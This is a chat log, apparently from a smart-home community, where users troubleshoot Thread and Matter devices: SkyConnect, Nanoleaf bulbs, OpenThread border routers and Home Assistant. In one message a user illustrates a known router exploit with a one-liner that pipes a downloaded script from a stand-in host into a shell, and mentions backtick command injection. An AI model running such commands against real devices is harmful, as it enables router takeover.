And was it initially recognised as an serial device?

[solid cypress]

It's connected to a dell r720 running latest ubuntu server.

Yes there are other usb devices like I mentioned

Maybe something up with this firmware

[spice imp]

Should not be a power problem then

[spice imp]

Yeah, home assistant probably uses an older version of the otbr

[solid cypress]

Yeah it uses diferent containers meant to run on pi

[spice imp]

Also on x86

https://github.com/openthread/ot-br-posix/tree/8d12b242dbf2398e8df20aa4ee6d387a41abb537

That’s the one HomeAssistant is using

@solid cypress https://www.silabs.com/documents/public/application-notes/an1256-using-sl-rcp-with-openthread-border-router.pdf

That’s the official guide from silabs to run an otbr with it

[half bluff]

I am unfourtanetly seeing the same behavior. My nanoleafs are back to disconnecting a bit.

[quiet stirrup]

Just got a response about this, after some hassle, i got this

Dear Joshua,

Unfortunately, the developers won't publish this information, sorry.

Best regards,

Volker

looks nanoleaf is the only one on iOS showing stuff like PSKc and network key

[vale field]

I have some Nanoleaf Matter over Thread bulbs. If I connect these to my Thread router running Home Assistant do the bulbs have unrestricted access to the Internet?

[quiet stirrup]

no, matter/thread devices itself cannot connect to the internet

[vale field]

I'm confused. I thought Thread devices can speak IP since they get IPv6 addresses. From Wikipedia:

Thread is IP-addressable, with cloud access and AES encryption

Do they mean "cloud access" in the sense that you can remotely access Thread devices from the WAN via the Thread border router?

https://www.reddit.com/r/Thread_protocol/comments/rbhnun/blocking_thread_clients_from_accessing_the/

[digital salmon]

Thanks. I still wonder why Nanoleaf is giving us this information.

[quiet stirrup]

they get local link addresses, its a network formed within the bounds of a thread network

they can only "escape" through a border router, but then again it gets translated and send out, regardless of what hub your a using, if that be a skyconnect. or apple homepod

[vale field]

I'm using SkyConnect. So the devices can make WAN bound traffic via the border router or no, I'm confused?

[quiet stirrup]

No

https://en.wikipedia.org/wiki/Link-local_address

[digital salmon]

Are you sure about the Link-local addresses?

IPv6 Link-local addresses are assigned from the block fe80::/10.

If I look at the mDNS entries for my Matter devices, I do not see IPv6 addresses beginning with fe80. Instead I only see IPv6 addresses beginning with fdca. So this is not a Link-local address.

[quiet stirrup]

https://www.sixxs.net/tools/grh/ula/list/

[digital salmon]

Ok, so it’s a Unique Local Address and not a Link-local Address.

[quiet stirrup]

thats what a long day at work does to ya 🤣

[vapid shell]

They can get GLAs if your infrastructure supports it

BRs do DHCP6 to get a PD from your infrastructure network, and fallback to ULAs if that doesn’t work

Thread devices can then get a GUA from that PD

There’s some info on it in https://www.threadgroup.org/Portals/0/documents/support/Thread1.3.0WhitePaper_07192022_3990_1.pdf

Also NAT means your thread devices can phone home even in the face of ULAs

https://openthread.io/codelabs/openthread-border-router-nat64#0

@vale field ^ those are the 2 ways I know of for thread devices to make WAN bound traffic.

You can turn off nat64 in openthread I think (it might even be off by default)

And you should be able to configure your router to not hand out PDs like candy

Neither are needed for matter to work

Or homekit

[digital salmon]

I never really got behind all this IPv6 addresses… 😂

[vale field]

That's what I thought, endpoint devices can get DHCPv6-PD addresses and can phone home

[vapid shell]

Yes (technically it’s just the BR doing DHCPv6, the /64 it gets is then used by the mesh)

[spice imp]

this is not guaranteed though. So i dont think any venders are gonna rely on this functionality

[vapid shell]

i'm less worried about valid but unwanted uses (Aqara sending usage statistics over ipv6 or NAT64 or connecting to some none matter cloudy control plane) and more worried about debug services that have "accidentally" been left in release builds. you know half the malware i see is shit like https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild where you can just echo orf; curl http://example.com/evil.sh | sh at some udp port and pop a fairly common brand of router

or you can put backticks in a url and get root

[upbeat fog]

Sorry just seeing this. Yeah it's still showing 1.3.0

[quiet stirrup]

i doubt this will be an issue with the big names, you more have to be worried about the small name OEM vendors from china who would have no regards for opsec or patching vulnerabilities

at this moment, no real cheap competitor has made its name/a notable impact, they are all on the zigbee hype train

[vapid shell]

definitely going to be worse with the cheap import stuff

though there are plenty of "clangers" from well known router vendors so im definitely... excited? to see what the first thread based CVE looks like 😆

[quiet stirrup]

would be intresting to see how any attack will be carried out, my feeling is it will be flaw within a border router, or something allowing access into the wider network

[vapid shell]

usually however dumb you think it will be, its dumber

someone will be leaking mdns onto the internet and all their light bulbs ip addresses will be exposed so we won't even have to scan for them, and there will be some flaw in some common home router that means theres no firewall for the PD, and then someone will have a stack overflow in their bulb.

or maybe one of the upnp port mapping vulns will work for ipv6 addresses

[quiet stirrup]

then the fun game starts, how long has it been around for undetected, and most likley exploited 🙃

[peak ocean]

So other than Nanoleaf, do we know of any other companies making Thread compatible down lights?

[quiet stirrup]

would be country specific, but at the moment (atleast in australia) nanoleaf at the only local ones that sell it

[peak ocean]

Hrnggg, they're not released till Q4 and they're only in one size and it's too large of a size

[quiet stirrup]

site that is local to me says 12th of september, allegedly

but for other makers, im not sure personally, other people may know tho

[peak ocean]

That's pretty soon, I guess I good wait

Got in some Zemismart downlights

Turns out they were Matter over WiFi and did not support WPA3

Instant return

[vale field]

I think about things like this and it just makes me want to return all these smart home devices and not even deal with this

[vapid shell]

Good luck! I was looking at ovens today and some of the features I like are only on the one that comes with some sort of cloud connection 😂😂

Don’t get me started on tvs

I think my next tv will have to be a monitor atm

[vale field]

My only network devices so far are a DD-WRT router/AP, LineageOS microG phone and Linux desktop.

I'm about to lose sovereignty from some Chinese lightbulbs

I wish their was an initiative for creating open-source firmware for these crappy IoT devices

[vapid shell]

There sort of is for some. If it’s got an esp32 there’s half a chance someone already put esphome on it

Or eg https://devices.esphome.io/guides/tuya-convert

Bug it’s often still crap hardware

[spice imp]

I send you a dm

[vapid shell]

Ty

[solid cypress]

Hah, I eventually figured it out. At some point the USB cable that came with the skyconnect went bad. Rebooting + plugging in directly for now and it's working. Now if only I can get HA to add the newly created thread network. Maybe it doesn't like the API being accessible on a non-standard port..

[hoary harbor]

Considering that in many TVs you have to manually turn off the “feature” of them spying on everything you watch, this isn’t a bad idea

Unnecessary @ soz

[solid cypress]

Sweet. Finally got it working. 😄

[spice imp]

What was the problem? If remember correctly there was actually something with the port and problems when changing it

[still quiver]

Just got a few of the nanoleaf a19 bulbs. They are a bit more better behaved then the nanoleaf led strip light. I was actually able to add it to home assistant via the nanoleaf app and it worked immediately for all three bulbs.

They still do the brief disconnecting, about 1 to 3 times an hour

Previously I thought having the nanoleaf devices also in the nanoleaf app caused issues for home assistant but I was incorrect. You can have the devices connected to both platforms without any issues

[peak ocean]

Yeah, I added it to my existing thread network first, then the Nanoleaf app. Initial connection for the Nanoleaf app seems to happen over Bluetooth and doesn't go create a new thread network or anything

[peak ocean]

Seems like Nanoleaf is the forerunner for Thread devices, but they just need to make more stuff

[solid cypress]

Well the USB cable was definitely bad. Reflashed/rebooted with it plugged straight in and it worked.

[peak ocean]

Got a link to the site?

[quiet stirrup]

https://www.wireless1.com.au/nanoleaf-essentials-colour-smart-led-downlight-matter-nf080d05-1w35

15th, mb

[peak ocean]

Ta, hmm that's pretty local

[quiet stirrup]

you in aus as well?

[peak ocean]

Sydney

Also seems like they're 120mm ones as well, which kinda sucks, means I might need to drill out the existing holes, since mine are all 90mm holes

[quiet stirrup]

Ah yeah, im in adelaide.

Also you sure about the 120mm hole? it says its 90

General

Dimensions: Ø110mm*55mm
Cutout: Ø90mm

[peak ocean]

Huh yeah you're right, seems like we get the 90mm ones whereas the US site has ones that need a 106mm cutout:
https://nanoleaf.me/en-US/products/essentials/bulbs/?category=downlight&standard=matter&size=4&specs=true

Also, did it say the 14th yesterday or was it always the 15th?

[quiet stirrup]

you know why, the US site the downlight is flush with the roof, while with the AU site. it is recessed into the roof

strange!

[peak ocean]

Huh, yeah that is strange

[peak ocean]

did that website say the 14th yesterday or was it always 15th? Because if it said the 14th, maybe they constantly offset it by a certain amount of days

[quiet stirrup]

oh wait, ours is a 3.5inch downlight, while the US site its a 4inch

[quiet stirrup]

always been the 15th i believe

[peak ocean]

Alright so that's hopeful then

I can wait a few weeks

[quiet stirrup]

Yep

[still quiver]

so with my new nanoleaf bulbs, they are connected to an dumb light switch. My wife still has to get used to the smart bulbs....anyways what happens my wife turns off the switch and of course the bulb goes offline, but it does not immediately connect back to HA when the power is back on. I have to sometimes use the nanoleaf app to wake it up in HA. Just wondering if there is some sort of polling of refresh on HA that could make this faster/better?

[digital salmon]

I need the Nanoleaf E27, the GU10 and the Nanoleaf Sense Control. But they have to solve the connection issues before I give them my money. My feeling tells me that probably won't happen this year…

[still quiver]

actually, this is not an HA issue but a device issue as not even Nanoleaf Windows App can connect to the device. Looks like the device needs another power cycle or needs the Android app phone to wake it up.

[cold shell]

I've resorted to putting painters tape over the light switches sigh

although I guess a more elegant solution would be to print something like this
https://www.thingiverse.com/thing:4933524

or for the flat style switches https://www.printables.com/en/model/325984-light-switch-cover-guard-for-flat-styled-switches-

[still quiver]

nice, some of those covers would be great (its for our walk-in closest). Currently waiting for a motion detector to arrive tomorrow so it can turn the light on/off upon entry/exit....until then masking tape with thumb tacks on it...lol no kidding

[cold shell]

I like that both of them have manual override features so you don't have to rip them off to work the switch in emergency/diagnostics

[still quiver]

thanks, I contacted my 3D printer guy. Cheers @cold shell 🍻

[sterile birch]

For HA and Thread integration, is a hub a better idea or is a USB Stick? Simply for HA running as the hub, nothing else.

[half bluff]

For me it’s pretty stable in HomeKit now with the latest firmware and apple dev update. However, with HA it’s just a nightmare of disconnect reconnect. I wish someone could find out what the root cause is between HA and Nanoleaf compared to the stability of Apple and Nanoleaf

It’s obviously a lot better than it has been in the past. However, I would not say it’s perfect enough to be called useful. It’s more of a headache.

[digital salmon]

Yea, it’s somehow true. I have my 2 bulbs connected since the latest update. But sometimes I definitely see them unavailable in Apple Home. My bulbs are paired to Apple Home and Home Assistant only. As soon as I open the Nanoleaf app my complete Thread network goes down, even though no bulb is paired to the app and my 35 EVE devices are absolutely rock solid.

Right now, it's not the stability I expect for a lighting system in my daily life. 😉

[still quiver]

Are Eve devices matter over Wi-Fi or matter over thread?

[spice imp]

The thread border router is something that is more similar to a wifi router than fx a Zigbee hub

[spice imp]

Thread

[quiet stirrup]

New iOS app update for Nanoleaf, apparently it fixes issues with matter essentals

Take with that what you will tho

[half bluff]

Cannot see how this app update fixes a HA issue. Just downloaded and nothing changed.

[quiet stirrup]

no idea. but they apparently love to put that in the patch notes

ill be joining you guys with your pain when i eventually get my nanoleaf downlights. so might have a crack a root reason then

[half bluff]

It’s weird. It was very stable last dev build. As soon as apple added TREL it just crapped out.

That last dev beta was the most stable I have ever experienced it being in HA.

[peak ocean]

Can HA even share thread networks with apple devices? I thought they were assholes about it

[quiet stirrup]

if you have a nanoleaf device, it exposes infomation which you can use to link up a skyconnect/HA yellow to the apple thread network

[peak ocean]

Ah right, so Nanoleaf exposes it to let HA in

[quiet stirrup]

yep, they allow viewing of PSKc and more importantly the network key

[peak ocean]

And typically apple doesn't if you add thread devices exclusively in homekit?

Because that would not surprise me in the slightest

[quiet stirrup]

well, they only let certified devices into homekit in the first place, so yes

[spice imp]

Well i you Can still use their HomeKit network with HomeAssistant

You just can’t add your own border router

[jagged leaf]

Hey, so I managed to add my Home Assistant instance to a thread network with my HomePod and nest hub from the OpenThread settings page and using the info from Nanoleaf. And now I’m trying to connect my matter devices from the iOS home assistant app using the more devices button. But I keep getting errors. Should I try using a pairing code instead? Or do I need to first unpair home assistant from the thread network?

It’s saying specifically that I may need to restart my accessory. However, the device still successfully has an additional connection made

[spice imp]

What code are you using?

[digital salmon]

The Nanoleaf app shows you the following:

Thread Network Name
Channel
PAN ID
Extended PAN ID
Network Key
PSKc

[quiet stirrup]

You really only need the channel and network key to form a connection; then you get a ton more information about the network through the open thread web UI

[peak ocean]

Is there a recommended documentation page on joining an open thread border router to an existing thread network inside home assistant?

[quiet stirrup]

lol no, but there will be eventually

[peak ocean]

Wait, so is there even a way to do it or does open border router always have to be it's own thread network?

[quiet stirrup]

there is, it is just complicated

[peak ocean]

Orly, do elaborate

[quiet stirrup]

well, it really depends what thread network you want to join, getting into googles is alot easier than getting into apples

you need something in the network to give you some info to allow another border router to join

as in, a nanoleaf device, in a apple network. which then displays what hoppel posted above

[peak ocean]

Would be a Google one

I've got the credentials

[quiet stirrup]

you got the network key?

[peak ocean]

Yep

[quiet stirrup]

oh sick!

right

you got the open thread border router add-on installed?

[peak ocean]

Yep

[quiet stirrup]

cool, you know how to acces the web interface of it?

on port 8080

[quiet stirrup]

once you do, go to join, click one of the ones that sit on the same channel (i think google is 23?), then go join, and copy the network key in

and leave the prefix the same

[peak ocean]

what's supposed to be running on port 8080? Because I've got nothing bound on mine on the HAOS VM

[quiet stirrup]

its apart of the add-on, you can enable to web-view (in the config of the open thread add on)

[spice imp]

He just needs to set the tvl inside of HomeAssistant

No need to use the webinterface

[peak ocean]

Hmm, what's the tvl

Also the web interface method worked, seems I had to enable the web interface

That was easy enough

[quiet stirrup]

yep

[peak ocean]

Although, why does it now say I have 4 border routers

[quiet stirrup]

refresh the topology a few times

can be a bit off

[peak ocean]

Guess I'll play around with this and see what I can do with it

Thanks!

[spice imp]

Basically all you configured in one long string

[peak ocean]

ah righto

[high palm]

Does anyone have any update on the iOS app's ability to get Thread devices into the Home Assistant Matter network? I think this is related to https://github.com/home-assistant/iOS/discussions/2372 but it's hard finding a concrete issue/discusison for it. cc@restive narwhal

[digital salmon]

Is there any documentation how to generate a TLV from the data the Nanoleaf app gives us:

Thread Network Name
Channel
PAN ID
Extended PAN ID
Network Key
PSKc

[spice imp]

Probably in some openthread repos

[digital salmon]

I already looked for it in the past, but didn’t find any solution.

[vapid shell]

There’s a python package that has a decoder that Ha uses

If you look in the Ha repo for the manifest.json of the OTBR integration

It stands for type length value. You have a byte for whether it’s net name or channel or whatever, a byte for how big the packet is, and then the value

And then by having multiple of those you can represent all those values ^

It’s a very common representation in the homekit protocol, but they use different bytes for the types and different endianness for some of the values 🤪

[hoary harbor]

https://gist.github.com/ToastyYak/c0c48435b740a2c39c0cc496359e1d32

I think this was the working copy of the TLV script I made

Super simple concept really

[twin saffron]

Is there a simple way to backup and restore HomeKit Devices with a few configuration files? I’d like to restore to an HA backup that was made prior to a large number of HK devices being added and I’d like to not have to re-pair everything if possible.

These are all thread nanoleaf bulbs that are connected via HomePods.

[vapid shell]

The important stuff is all your .storage/core.config_entries file, search for homekit_controller.

It’s worth backing up .storage/homekit-controller-entity-map just in case, but it should rebuild that file if it’s missing.

[twin saffron]

Okay cool, thank you!

[half bluff]

Yo not sure how long this will last but I just added my SkyConnect to be included on my Apple Home Channel 25 Dataset and my matter nanoleaf essentials have not been dropping off the network on HA. I will keep testing over the days to see if its still stable. Interesting stuff!

[still quiver]

Interesting. I always wanted to know if thread is channel sensitive like zigbee. I mean wifi (devices) are not channel sensitive, I don't think?

New updates coming for Nest hubs improves matter connectivity
https://9to5google.com/2023/08/25/fuchsia-12-nest-hub-update/

[cobalt crystal]

You guys are crazy lol

[still quiver]

Matter
Fixed identify response in the case of multiple devices to prevent response flood.
Enabled inspect for matter.
Fixed crash in localhome during subscription timeout.
Fixed a crash in leader election in usonia.
Fixed a crash in converting out of range colors. This affects the user experience where some colors were inaccurate.
Implemented cache flush handling in the Fuchsia mDNS stack.

Thread
Enabled Thread telemetry in the Nest thread controller.
Enabled the Dynamic logging feature

[quiet stirrup]

Nice!

[karmic oak]

Add thread devices to home assistant yellow

[still quiver]

It seems my Nest Hub Max's have updated to the latest firmware but my Nest Hub second gens have not yet so hard to tell if this improved things yet

Considering that it's my Nest Hub second gens are closest to the nanoleaf devices

[half marlin]

somebody else have problems with SkyConnect Multi-Pan not working? Nothing was changed, except of HA updates.

[half marlin]

it looks like my skyconnect isnt updated with the firmware, but the logs says there is something wrong updating. someone know whats going on here? https://pastebin.com/GkucQHhz

when i try to start the SiliconLabs addon with "auto firmwareupdate" i get the error like postet above and its stopping the startup. if i start it without updating firmware, it starts but its not working correctly because ZHA and OTBR are showing errors "failed, try again"

i think it should be an old firmware issue, but the updater isnt working i think.

[half bluff]

I had a similar problem and had to fix it by going to the Skyconnect website and update it via my computer

Then plug it back in or something to HA

[half marlin]

i just did thats myself. damn it works again ^^

[quiet stirrup]

you running multi protocol?

[spring bramble]

This is a nice article explaining the current state of Thread very well, nice read up if you want to know more about thread.
https://www.theverge.com/23820078/matters-biggest-problem-apple-google-thread-border-router-interoperability

[kindred rune]

So I was a fool and ended up getting some Eve Energy plugs that require Homekit, thinking that because they said thread-compatible and Amazon Echo 4 is supposedly a thread router, that I could make it work. The Eve Energy app requires a thread router network connection to upgrade to matter, which it can't find in relation to the Echo (or alternatively it's expecting a homekit hub).

SO, what I've done so far:

1. I've setup Home Assistant on my Mac with a nRF52840 dongle
2. my current setup is showing the following:

https://ibb.co/T1tpVTm
https://ibb.co/DW4Wygb

And obviously, my Eve Energy app has no more idea that this exists anymore

Is there a way I can use anything in this setup, or any other integrations / processes, to get that 'thread status' enabled, to provision the echo as a preferred thread network, to use my nRF52840 dongle as a thread border router as well to get that hooked up, AND/OR to somehow use that original Eve Energy app to achieve this purpose?

I'm aware that just buying a Homepod would solve my issues but I'm enjoying the challenge of figuring this out

Also not sure how to actually use that detected Amazon Echo thread network

[quiet stirrup]

yeah i dunno man, you would need a homepod mini to solve this, if its a homekit plug, its locked down to only homekit untill you upgrade it to matter

[kindred rune]

hmmm

would this possibly work? https://infocenter.nordicsemi.com/index.jsp?topic=%2Fcom.nordic.infocenter.thread_zigbee.v3.0.0%2Fthread_border_router.html or would the app still likely not detect it?

[quiet stirrup]

i doubt

[sick swan]

@kindred rune you should be able to use Home Assistant's preferred Thread network to commission Eve Energey plugs that have the HomeKit firmware on them.

[quiet stirrup]

but how does that allow the eve app to communicate to it, to initiate the matter update

[sick swan]

Hm, yeah not sure about that. I guess the Eve app communicates through the Apple native HomeKit controller to do firmware updates?

[kindred rune]

it feels really restrictive re: the way Eve developed that upgrade ability in their app!

(though, having said all this, this process has led me to investigate Home Assistant just for this reason, and I'm actually liking what I'm seeing / may end up using this more and more as a result, so that's good in any case)

[sick swan]

Yeah I am not verify familiar with HomeKit, not sure if firmware upgrade is standardized in the HomeKit world or if this is really somethign which is vendor specific.

However, Matter has firmware upgrades in the standards. And Eve actually supports that, afaik. But you have to update to Matter first, obviously. And, from what I know Matter firmware upgrade only works in the Apple eco system currently. the Home Assistant Matter implementation doesn't support it yet, and I think Google also doesn't yet.

FWIW, you can use the nRF52840 Dongle with the OpenThread RCP firmware flashed with our OTBR add-on (https://github.com/home-assistant/addons/tree/master/openthread_border_router).

[quiet stirrup]

only apple iirc, and it appears its gonna be that way for a while

[sick swan]

@kindred rune did you try updating via BLE?

[kindred rune]

What do you mean?

[sick swan]

These devices are able to communicate HomeKit via Bluetooth (BLE). Technically it could be that you can also update through just BLE

@kindred rune just checked with Eve folks, the Eve App requires an Apple Thread BR, otherwise it won't offer firmware update.

[atomic garden]

Thanks for the link

Thread being from Google makes me very much not want to use it

Oh it's from Nest which Google bought

Hmm so Thread takes Zigbee and adds traditional ip addresses to devices on the meshnet. That seems rather straightforward.

[spice imp]

thats just wrong

Thread is a "layer" below zigbee

it has not much to do with zigbee

Also thread is "owned" by the thread alliance

[atomic garden]

Below zigbee?